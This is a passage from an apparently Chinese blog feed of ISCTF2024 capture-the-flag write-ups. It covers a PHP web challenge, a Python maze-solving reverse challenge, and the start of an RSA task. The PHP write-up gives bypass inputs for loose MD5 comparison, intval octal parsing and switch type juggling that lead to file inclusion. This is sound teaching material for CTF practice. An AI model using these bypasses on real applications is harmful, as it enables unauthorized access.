<span class="line">@<span class="token function">parse_str</span><span class="token punctuation">(</span><span class="token variable">$b</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token keyword">echo</span> <span class="token string double-quoted-string">"小蓝鲨开始闯关，你能帮助他拿到flag吗?&lt;br&gt;"</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$a</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">!=</span> <span class="token string single-quoted-string">'QNKCDZO'</span> <span class="token operator">&amp;&amp;</span> <span class="token function">md5</span><span class="token punctuation">(</span><span class="token variable">$a</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token function">md5</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'QNKCDZO'</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token variable">$num</span> <span class="token operator">=</span> <span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"num"</span><span class="token punctuation">]</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token keyword">echo</span> <span class="token string double-quoted-string">"第一关有惊无险！小蓝鲨壮着胆子接着继续往下走！&lt;br&gt;"</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$num</span> <span class="token operator">==</span> <span class="token number">2024</span><span class="token punctuation">)</span><span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"QAQ小蓝鲨误入陷阱，不怕，再接再厉！"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line">    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"/[a-z]/i"</span><span class="token punctuation">,</span> <span class="token variable">$num</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">die</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"陷阱太多QAQ"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line">    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">intval</span><span class="token punctuation">(</span><span class="token variable">$num</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">2024</span><span class="token punctuation">)</span><span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">echo</span> <span class="token string double-quoted-string">"到这了难道还要放弃吗？&lt;br&gt;"</span><span class="token punctuation">;</span></span>
<span class="line">        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'which'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span></span>
<span class="line">            <span class="token variable">$which</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'which'</span><span class="token punctuation">]</span><span class="token punctuation">;</span></span>
<span class="line">            <span class="token keyword">echo</span> <span class="token string double-quoted-string">"小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油，还差最后一步了！"</span><span class="token punctuation">;</span></span>
<span class="line">            <span class="token keyword">switch</span> <span class="token punctuation">(</span><span class="token variable">$which</span><span class="token punctuation">)</span><span class="token punctuation">{</span></span>
<span class="line">                <span class="token keyword">case</span> <span class="token number">0</span><span class="token punctuation">:</span></span>
<span class="line">                    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'QAQ'</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">                <span class="token keyword">case</span> <span class="token number">1</span><span class="token punctuation">:</span></span>
<span class="line">                <span class="token keyword">case</span> <span class="token number">2</span><span class="token punctuation">:</span></span>
<span class="line">                    <span class="token keyword">require_once</span> <span class="token variable">$which</span><span class="token operator">.</span><span class="token string single-quoted-string">'.php'</span><span class="token punctuation">;</span></span>
<span class="line">                    <span class="token keyword">echo</span> <span class="token variable">$flag</span><span class="token punctuation">;</span></span>
<span class="line">                    <span class="token keyword">break</span><span class="token punctuation">;</span></span>
<span class="line">                <span class="token keyword">default</span><span class="token punctuation">:</span></span>
<span class="line">                    <span class="token keyword">echo</span> <span class="token class-name static-context">GWF_HTML</span><span class="token operator">::</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'PHP-0817'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'Hacker NoNoNo!'</span><span class="token punctuation">,</span> <span class="token constant boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">                    <span class="token keyword">break</span><span class="token punctuation">;</span></span>
<span class="line">            <span class="token punctuation">}</span></span>
<span class="line">        <span class="token punctuation">}</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"></span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><h3>第一关</h3>
<p>如果<code>$a[0]&nbsp;!=&nbsp;'QNKCDZO'</code>而且<code>md5($a[0])&nbsp;==&nbsp;md5('QNKCDZO')</code>则成立。该部分运用到 PHP 的特性。</p>
<blockquote>
<p>md5 的碰撞，在 PHP 的数的处理中，0 开头的字符串会被转换成 0，所以才会有 md5 碰撞。
[[MD5-collision]]</p>
</blockquote>
<p>所以只要传入 MD5 值为<code>0e</code>开头的字符串，且不等于题目中的字符串，则条件成立。</p>
<p><code>$a[0]</code>取<code>$a</code>的第一个元素，如果传入字符串，则将会取第一个字母。所以我们需要传入一个数组。<code>parse_str</code>用于解析<code>$b</code>并将里面的东西转为变量，而<code>@</code>将会忽略转换的错误。如果 &nbsp;<code>$b</code>&nbsp; 的值是 &nbsp;<code>"foo=bar&amp;baz=qux"</code>，那么执行 &nbsp;<code>parse_str($b);</code>&nbsp; 后，PHP 将创建两个新的变量 &nbsp;<code>$foo</code>&nbsp; 和 &nbsp;<code>$baz</code>，它们的值分别是 &nbsp;<code>"bar"</code>&nbsp; 和 &nbsp;<code>"qux"</code>。</p>
<p>示例：</p>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">?b=a[0]=s878926199a</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h3>第二关</h3>
<p>PHP 中<code>post</code>请求参数<code>num</code>, 有以下要求:</p>
<ol>
<li><code>$num</code> 不能等于数字 2024。</li>
<li><code>$num</code> 不能包含任何字母（无论是小写还是大写。</li>
<li>当使用 <code>intval($num, 0)</code> 转换 <code>$num</code> 为整数时，结果等于 2024。</li>
</ol>
<p>尝试传入八进制数字<code>03750</code>，可以通过校验。</p>
<blockquote>
<p>要使用八进制表达，数字前必须加上 <code>0</code>（零）。 PHP 8.1.0 起，八进制表达也可以在前面加上 <code>0o</code> 或者 <code>0O</code> 。 要使用十六进制表达，数字前必须加上 <code>0x</code>。要使用二进制表达，数字前必须加上 <code>0b</code>。
[[PHP Hypertext Preprocessor]]</p>
</blockquote>
<h3>第三关</h3>
<div class="language-php line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="php" style="--vp-collapsed-lines:15;"><pre><code class="language-php"><span class="line"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'which'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token variable">$which</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'which'</span><span class="token punctuation">]</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token keyword">echo</span> <span class="token string double-quoted-string">"小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油，还差最后一步了！"</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token keyword">switch</span> <span class="token punctuation">(</span><span class="token variable">$which</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">case</span> <span class="token number">0</span><span class="token punctuation">:</span></span>
<span class="line">            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'QAQ'</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">        <span class="token keyword">case</span> <span class="token number">1</span><span class="token punctuation">:</span></span>
<span class="line">        <span class="token keyword">case</span> <span class="token number">2</span><span class="token punctuation">:</span></span>
<span class="line">            <span class="token keyword">require_once</span> <span class="token variable">$which</span> <span class="token operator">.</span> <span class="token string single-quoted-string">'.php'</span><span class="token punctuation">;</span></span>
<span class="line">            <span class="token keyword">echo</span> <span class="token variable">$flag</span><span class="token punctuation">;</span></span>
<span class="line">            <span class="token keyword">break</span><span class="token punctuation">;</span></span>
<span class="line">        <span class="token keyword">default</span><span class="token punctuation">:</span></span>
<span class="line">            <span class="token keyword">echo</span> <span class="token class-name static-context">GWF_HTML</span><span class="token operator">::</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'PHP-0817'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'Hacker NoNoNo!'</span><span class="token punctuation">,</span> <span class="token constant boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">            <span class="token keyword">break</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><blockquote>
<p>PHP 转换的规则的是：<strong>若字符串以数字开头，则取开头数字作为转换结果，若无则输出 0</strong>。
具体请查阅： <a href="https://segmentfault.com/q/1010000000095573" target="_blank" rel="noopener noreferrer">php 里，为什么 0 == 'abc'是成立的？ - SegmentFault 思否</a></p>
</blockquote>
<p>尝试传入<code>flag</code>字符串返回了 flag.</p>
]]></content>
    <category term="CTF"/>
    <published>2024-12-10T08:55:12.000Z</published>
  </entry>
  <entry>
    <title type="text">Python搜索算法 | ISCTF2024 | Reverse《回忆安魂曲》--第三章：逃不出的黑墙</title>
    <id>https://www.hestudio.net/posts/python-search-isctf2024.html</id>
    <link href="https://www.hestudio.net/posts/python-search-isctf2024.html"/>
    <updated>2024-12-10T14:18:03.000Z</updated>
    <summary type="html"><![CDATA[<p>将文件拖入 IDA 分析可得以下内容</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6758001b083b0.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>可以从中提取出迷宫的字符串。</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6758002b5218c.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>]]></summary>
    <content type="html"><![CDATA[<p>将文件拖入 IDA 分析可得以下内容</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6758001b083b0.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>可以从中提取出迷宫的字符串。</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6758002b5218c.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>根据这里可以判断字符串是一个<code>(31*30)-1</code>的一个矩形。</p>
<figure><img src="https://img.hestudio.net/2024/12/10/675800393ced4.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>大概是这种构造。</p>
<p>我们需要编写算法，使得从 P 点触发，不经过 C 直接到达 E（如果到达 C 点会触发彩蛋）</p>
<div class="language-python line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="py" style="--vp-collapsed-lines:15;"><pre><code class="language-python"><span class="line"><span class="token keyword">import</span> hashlib</span>
<span class="line"><span class="token keyword">import</span> numpy <span class="token keyword">as</span> np</span>
<span class="line"><span class="token keyword">from</span> queue <span class="token keyword">import</span> Queue</span>
<span class="line"><span class="token keyword">from</span> heapq <span class="token keyword">import</span> heappush<span class="token punctuation">,</span> heappop</span>
<span class="line"></span>
<span class="line">maze_str <span class="token operator">=</span> <span class="token triple-quoted-string string">"""</span>
<span class="line">###############################P#...............#...#.......#.#####.###.#####.#.###.#####.#.....#...#.#.....#...#.#...#.#####.#.###.#.#######.#.#.###.#C..#.#.#...#.#...#...#.#.#...#.#.#.#.#.###.#.#.#.###.#.#.#.#.#.#.#.#...#...#.#.......#.#.#.###.#.###.#####.#########.###.#...#...#.....#.#.......#...#.#.#####.#####.#.#.#####.###.#...#...#...#...#...#...#.#...#.###.#.###.#.#######.#.#.#.#.#...#.#.#...#.#...#...#...#.#.###.#.#.#####.#.#.#.#######.###.#...#.....#...#.#.#...#.....#.#########.#####.#.###.#.###.#.#.....#.#...#...#...#...#.#.#.#.#.#.#.###.#.#####.###.#.#.#...#.#...#.#...#...#...#...#.#.###.###.#.#####.#.###.###.#.#...#.#.#.......#.#...#.#...#.#####.#.#######.#.#####.#.###.#...#.#.......#.#...#...#.#..E#.#.#.#.#######.###.#.#####.#.#.#...#.............#.....#.#.#.###############.#######.#.#.#.........#...#...#.....#...#.#.#######.#.#.#####.#.#######.#.......#...#.......#.........</span>
<span class="line">"""</span></span>
<span class="line"></span>
<span class="line">maze_str <span class="token operator">=</span> <span class="token string">'\n'</span><span class="token punctuation">.</span>join<span class="token punctuation">(</span><span class="token punctuation">[</span>maze_str<span class="token punctuation">[</span>i<span class="token punctuation">:</span>i<span class="token operator">+</span><span class="token number">31</span><span class="token punctuation">]</span> <span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token builtin">len</span><span class="token punctuation">(</span>maze_str<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">30</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span>maze_str<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token comment"># Split the maze string into lines and remove empty lines</span></span>
<span class="line">maze_lines <span class="token operator">=</span> <span class="token punctuation">[</span>line <span class="token keyword">for</span> line <span class="token keyword">in</span> maze_str<span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>split<span class="token punctuation">(</span><span class="token string">'\n'</span><span class="token punctuation">)</span> <span class="token keyword">if</span> line<span class="token punctuation">]</span></span>
<span class="line"></span>
<span class="line"><span class="token comment"># Get dimensions</span></span>
<span class="line">height <span class="token operator">=</span> <span class="token builtin">len</span><span class="token punctuation">(</span>maze_lines<span class="token punctuation">)</span></span>
<span class="line">width <span class="token operator">=</span> <span class="token builtin">len</span><span class="token punctuation">(</span>maze_lines<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token comment"># Create numpy array</span></span>
<span class="line">maze <span class="token operator">=</span> np<span class="token punctuation">.</span>zeros<span class="token punctuation">(</span><span class="token punctuation">(</span>height<span class="token punctuation">,</span> width<span class="token punctuation">)</span><span class="token punctuation">,</span> dtype<span class="token operator">=</span><span class="token builtin">int</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token comment"># Fill array and find special points</span></span>
<span class="line">start <span class="token operator">=</span> <span class="token boolean">None</span></span>
<span class="line">checkpoint <span class="token operator">=</span> <span class="token boolean">None</span></span>
<span class="line">end <span class="token operator">=</span> <span class="token boolean">None</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">for</span> i<span class="token punctuation">,</span> line <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>maze_lines<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token keyword">for</span> j<span class="token punctuation">,</span> char <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>line<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">        <span class="token keyword">if</span> char <span class="token operator">==</span> <span class="token string">'#'</span><span class="token punctuation">:</span></span>
<span class="line">            maze<span class="token punctuation">[</span>i<span class="token punctuation">,</span> j<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span></span>
<span class="line">        <span class="token keyword">elif</span> char <span class="token operator">==</span> <span class="token string">'P'</span><span class="token punctuation">:</span></span>
<span class="line">            start <span class="token operator">=</span> <span class="token punctuation">(</span>i<span class="token punctuation">,</span> j<span class="token punctuation">)</span></span>
<span class="line">        <span class="token keyword">elif</span> char <span class="token operator">==</span> <span class="token string">'C'</span><span class="token punctuation">:</span></span>
<span class="line">            checkpoint <span class="token operator">=</span> <span class="token punctuation">(</span>i<span class="token punctuation">,</span> j<span class="token punctuation">)</span></span>
<span class="line">        <span class="token keyword">elif</span> char <span class="token operator">==</span> <span class="token string">'E'</span><span class="token punctuation">:</span></span>
<span class="line">            end <span class="token operator">=</span> <span class="token punctuation">(</span>i<span class="token punctuation">,</span> j<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"Maze array created with shape:"</span><span class="token punctuation">,</span> maze<span class="token punctuation">.</span>shape<span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"Start position (P):"</span><span class="token punctuation">,</span> start<span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"Checkpoint position (C):"</span><span class="token punctuation">,</span> checkpoint<span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"End position (E):"</span><span class="token punctuation">,</span> end<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span class="token keyword">def</span> <span class="token function">get_direct_path</span><span class="token punctuation">(</span>maze<span class="token punctuation">,</span> start<span class="token punctuation">,</span> end<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    rows<span class="token punctuation">,</span> cols <span class="token operator">=</span> maze<span class="token punctuation">.</span>shape</span>
<span class="line">    visited <span class="token operator">=</span> <span class="token builtin">set</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">    q <span class="token operator">=</span> Queue<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">    q<span class="token punctuation">.</span>put<span class="token punctuation">(</span><span class="token punctuation">(</span>start<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token comment"># (position, path)</span></span>
<span class="line">    directions <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">]</span></span>
<span class="line">    direction_names <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'上'</span><span class="token punctuation">,</span> <span class="token string">'下'</span><span class="token punctuation">,</span> <span class="token string">'左'</span><span class="token punctuation">,</span> <span class="token string">'右'</span><span class="token punctuation">]</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">while</span> <span class="token keyword">not</span> q<span class="token punctuation">.</span>empty<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">        <span class="token punctuation">(</span>i<span class="token punctuation">,</span> j<span class="token punctuation">)</span><span class="token punctuation">,</span> path <span class="token operator">=</span> q<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">        <span class="token keyword">if</span> <span class="token punctuation">(</span>i<span class="token punctuation">,</span> j<span class="token punctuation">)</span> <span class="token operator">==</span> end<span class="token punctuation">:</span></span>
<span class="line">            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"找到直接路径！"</span><span class="token punctuation">)</span></span>
<span class="line">            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"路径步骤:"</span><span class="token punctuation">,</span> <span class="token string">' '</span><span class="token punctuation">.</span>join<span class="token punctuation">(</span>path<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line">            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"总步数:"</span><span class="token punctuation">,</span> <span class="token builtin">len</span><span class="token punctuation">(</span>path<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line">            direction_map <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token string">'上'</span><span class="token punctuation">:</span> <span class="token string">'l'</span><span class="token punctuation">,</span> <span class="token string">'下'</span><span class="token punctuation">:</span> <span class="token string">'o'</span><span class="token punctuation">,</span> <span class="token string">'左'</span><span class="token punctuation">:</span> <span class="token string">'v'</span><span class="token punctuation">,</span> <span class="token string">'右'</span><span class="token punctuation">:</span> <span class="token string">'e'</span><span class="token punctuation">}</span></span>
<span class="line">            path_new <span class="token operator">=</span> <span class="token punctuation">[</span>direction_map<span class="token punctuation">[</span>d<span class="token punctuation">]</span> <span class="token keyword">for</span> d <span class="token keyword">in</span> path<span class="token punctuation">]</span></span>
<span class="line">            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"路径(使用love):"</span><span class="token punctuation">,</span> <span class="token string">''</span><span class="token punctuation">.</span>join<span class="token punctuation">(</span>path_new<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line">            <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"MD5:"</span><span class="token punctuation">,</span> hashlib<span class="token punctuation">.</span>md5<span class="token punctuation">(</span><span class="token string">''</span><span class="token punctuation">.</span>join<span class="token punctuation">(</span>path_new<span class="token punctuation">)</span><span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span>hexdigest<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line">            <span class="token keyword">return</span> path</span>
<span class="line"></span>
<span class="line">        <span class="token keyword">if</span> <span class="token punctuation">(</span>i<span class="token punctuation">,</span> j<span class="token punctuation">)</span> <span class="token keyword">in</span> visited<span class="token punctuation">:</span></span>
<span class="line">            <span class="token keyword">continue</span></span>
<span class="line"></span>
<span class="line">        visited<span class="token punctuation">.</span>add<span class="token punctuation">(</span><span class="token punctuation">(</span>i<span class="token punctuation">,</span> j<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">        <span class="token keyword">for</span> idx<span class="token punctuation">,</span> <span class="token punctuation">(</span>di<span class="token punctuation">,</span> dj<span class="token punctuation">)</span> <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>directions<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">            ni<span class="token punctuation">,</span> nj <span class="token operator">=</span> i <span class="token operator">+</span> di<span class="token punctuation">,</span> j <span class="token operator">+</span> dj</span>
<span class="line">            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token number">0</span> <span class="token operator">&lt;=</span> ni <span class="token operator">&lt;</span> rows <span class="token keyword">and</span> <span class="token number">0</span> <span class="token operator">&lt;=</span> nj <span class="token operator">&lt;</span> cols <span class="token keyword">and</span></span>
<span class="line">                maze<span class="token punctuation">[</span>ni<span class="token punctuation">,</span> nj<span class="token punctuation">]</span> <span class="token operator">!=</span> <span class="token number">1</span> <span class="token keyword">and</span> <span class="token punctuation">(</span>ni<span class="token punctuation">,</span> nj<span class="token punctuation">)</span> <span class="token keyword">not</span> <span class="token keyword">in</span> visited <span class="token keyword">and</span></span>
<span class="line">                    <span class="token punctuation">(</span>ni<span class="token punctuation">,</span> nj<span class="token punctuation">)</span> <span class="token operator">!=</span> checkpoint<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">                q<span class="token punctuation">.</span>put<span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">(</span>ni<span class="token punctuation">,</span> nj<span class="token punctuation">)</span><span class="token punctuation">,</span> path <span class="token operator">+</span> <span class="token punctuation">[</span>direction_names<span class="token punctuation">[</span>idx<span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"未找到不经过检查点的路径"</span><span class="token punctuation">)</span></span>
<span class="line">    <span class="token keyword">return</span> <span class="token boolean">None</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line">direct_path <span class="token operator">=</span> get_direct_path<span class="token punctuation">(</span>maze<span class="token punctuation">,</span> start<span class="token punctuation">,</span> end<span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><p>将最优路线的 MD5 提交即可。</p>
]]></content>
    <category term="CTF"/>
    <published>2024-12-10T08:55:12.000Z</published>
  </entry>
  <entry>
    <title type="text">RSA | ISCTF2024 | Crypto 我和小蓝鲨的秘密</title>
    <id>https://www.hestudio.net/posts/rsa-isctf2024.html</id>
    <link href="https://www.hestudio.net/posts/rsa-isctf2024.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<h3>原题</h3>
<div class="language-python line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="py" style="--vp-collapsed-lines:15;"><pre><code class="language-python"><span class="line"><span class="token keyword">from</span> PIL <span class="token keyword">import</span> Image</span>
<span class="line"><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Util<span class="token punctuation">.</span>number <span class="token keyword">import</span> bytes_to_long<span class="token punctuation">,</span> long_to_bytes</span>
<span class="line"><span class="token keyword">import</span> numpy <span class="token keyword">as</span> np</span>
<span class="line"></span>
<span class="line">n <span class="token operator">=</span> <span class="token number">29869349657224745144762606999</span></span>
<span class="line">e <span class="token operator">=</span> <span class="token number">65537</span></span>
<span class="line"></span>
